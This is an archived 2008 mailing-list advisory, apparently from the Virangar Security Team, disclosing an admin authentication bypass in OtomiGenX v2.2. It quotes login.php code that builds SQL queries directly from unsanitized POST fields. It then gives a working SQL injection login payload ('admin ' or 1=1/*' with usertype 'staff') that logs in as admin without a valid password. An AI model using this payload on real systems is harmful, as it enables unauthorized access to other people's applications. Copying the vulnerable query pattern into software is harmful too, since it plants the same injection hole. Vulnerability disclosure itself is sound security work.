hadihadi_zedehal_2006yahoo.com
Date: Sat May 31 2008 - 19:29:08 CDT

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

 
 ######################################################################################
 # #
 # ...::::: OtomiGenX v2.2 Ultimate Authentication bypass Vulnerabilities ::::.... #
 ######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir
--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
----------------
                                .::::admin Authentication bypass vuln::::.
//vuln code in login.php:
...
..
...
line 29:

$passwd = md5($_POST[userPassword]); // md5 hash password

if($_POST[userType] != 'Staff')
{$sql = "SELECT userID, userName
             FROM user_account
             WHERE userAccount='$_POST[userAccount]' AND
                     userPassword='$passwd' AND
                     userType='$_POST[userType]' AND isApproved='1'";

}else
$sql = "SELECT staffID, staffName, staffGroupID
             FROM staff
             WHERE staffAccount='$_POST[userAccount]' AND
                     staffPassword='$passwd'";
...

-----
Exploit:
User Name:admin ' or 1=1/*
Password :[whatever]
usertype:staff
--------------

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]